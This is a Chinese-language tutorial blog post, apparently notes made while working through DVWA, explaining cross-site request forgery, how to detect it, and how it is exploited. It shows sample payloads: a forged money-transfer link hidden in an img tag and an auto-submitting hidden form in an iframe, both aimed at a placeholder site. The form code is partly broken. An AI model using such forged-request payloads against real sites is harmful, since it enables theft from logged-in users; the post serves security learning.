CSRF的学习

前言

做DVWA首先遇到的第一个新知识点就是CSRF了,遇到了那学就完事了,多学多练多记肯定是没错的。

什么是CSRF

CSRF(Cross-site request forgery),即跨站请求伪造,缩写为CSRF或者XSRF。

简单来说,就是攻击者盗用了你的身份进行各种操作。具体流程可以参考下图:

攻击者通过伪造浏览器请求,向用户之前曾取得信任的网站(即在本地生成了cookie,且必须在同一浏览器下)发送此请求,导致网站接受并认为是用户的操作而执行命令。这个漏洞常常被用来盗号、转账、发送虚假信息等等,利用的是网站只能验证来源用户的浏览器,却不能认证是否为真实该用户进行的操作。

如何检测CSRF漏洞的存在

在不存在token的前提下,最简单的方法就是抓包后删去请求头中的Referer再次提交,如果提交仍然有效则说明很大可能存在CSRF漏洞。

当然我们也可以使用CSRFTester、CSRF-Request-Builder等工具进行检测甚至攻击,关于这工具的使用不具体介绍,可以参考下面的博客进行学习:
CSRF自动化测试-CSRFTester

利用CSRF漏洞进行攻击

GET与REQUEST

如果浏览器是以GET方式或REQUEST方式接收请求的话,并且我们了解具体操作的payload,我们就可以在自己搭建的恶意网站中构建一个相似的信息。

例如,某网站的转账操作是这样的:

1
2
http://www.mrl64.com/Transfercount?id=2333&money=1000&for=2233
//将2333账户中的1000元转入2233的账户中

那么我就可以在恶意网站中构造写入一个类似的链接,将转账的目标账户写成我的账户:

1
http://www.mrl64.com/Transfercount?id=2333&money=1000&for=mrl64

接着我们把这个链接隐藏在我们的网页中,一般采用图片隐藏:

1
<img src='http://www.mrl64.com/Transfercount?id=2333&money=1000&for=mrl64'>

这时,只要用户的客户端完成了www.mrl64.com的验证登录并保存了该网站的cookie,我们就可以诱导用户进入我们的恶意网站(客户端tab另一页面),这时我们构建的链接就会连着cookie被发送到www.mrl64.com中,链接如果被网站成功响应,那么2333账户中的1000元就会转入我们的帐中。

而由于_REQUEST[]同样也可以接收以GET请求发送的数据,因此上述的攻击方法同样奏效。

POST

POST类型的CSRF使用通常要用到自动提交的表单,访问恶意网站后表单自动提交模拟用户进行一次POST。

写表单就需要用到JS了,伪造一份跟转账表单一模一样的表单,然后嵌入到iframe中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<html>
  <head>
    <script type="text/javascript">
      function steal()
      {
     iframe = document.frames["steal"];
      iframe.document.Submit("transfer");
      }
    </script>
  </head>

  <body onload="steal()">
    <iframe name="steal" display="none">
      <form method="POST" name="Transfercountr" action="http://www.mrl64.com/Transfercount.php">
        <input type="hidden" name="id" value="2333">
        <input type="hidden" name="money" value="1000">
<input type="hidden" name="for" value="mrl64">
      </form>
    </iframe>
  </body>
</html>

大概就像这样。

详细的攻击方法还可以参考下面这篇博客:
CSRF

总结

CSRF漏洞实际场景中使用频率较低,但危害性极大,相当容易造成大型网络安全事件。CSRF漏洞还可以搭配XSS漏洞进行更隐蔽的攻击,因此CSRF漏洞被判为高危漏洞。